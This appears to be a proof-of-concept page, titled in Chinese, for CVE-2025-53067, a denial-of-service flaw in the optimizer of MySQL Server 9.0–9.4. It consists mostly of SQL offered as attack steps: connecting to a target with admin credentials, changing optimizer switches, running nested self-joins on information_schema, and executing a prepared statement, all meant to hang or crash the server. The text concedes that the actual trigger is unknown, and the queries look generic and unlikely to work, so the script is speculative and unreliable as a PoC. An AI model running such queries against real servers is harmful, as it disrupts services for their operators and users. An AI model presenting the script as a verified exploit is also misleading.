CVE-2025-53067：Oracle MySQL Server Optimizer组件拒绝服务漏洞

-- CVE-2025-53067 PoC: Oracle MySQL Server Optimizer DoS -- Vulnerability: Denial of Service via Optimizer component -- Affected versions: MySQL Server 9.0.0 - 9.4.0 -- Requirements: High-privileged MySQL user account -- Note: This PoC demonstrates the attack pattern. Specific trigger -- query requires knowledge of the internal optimizer flaw. -- Step 1: Connect to the target MySQL Server with high-privileged credentials -- mysql -h <target_host> -u <admin_user> -p -- Step 2: Craft a malicious query that triggers the Optimizer defect -- The following pattern targets the optimizer's handling of complex queries -- involving subqueries, joins, or derived tables that cause the optimizer -- to enter an abnormal state USE information_schema; -- Example: Complex query designed to trigger optimizer crash/hang -- The exact trigger depends on the specific optimizer bug SET SESSION optimizer_switch = 'batched_key_access=on,mrr_cost_based=off'; SELECT /*+ NO_MERGE(t) */ * FROM ( SELECT t1.table_name, t1.table_rows FROM information_schema.tables t1 JOIN information_schema.tables t2 ON t1.table_name = t2.table_name JOIN information_schema.tables t3 ON t1.table_name = t3.table_name WHERE t1.table_schema = DATABASE() AND t2.table_schema = DATABASE() AND t3.table_schema = DATABASE() ) AS t WHERE t.table_rows > 0 ORDER BY t.table_name; -- Alternative approach: Trigger optimizer bug via prepared statements PREPARE stmt FROM 'SELECT * FROM information_schema.tables WHERE table_name = ?'; SET @a = (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = DATABASE()); EXECUTE stmt USING @a; -- The above query patterns may cause the MySQL Server to hang or crash -- due to the optimizer defect in versions 9.0.0 - 9.4.0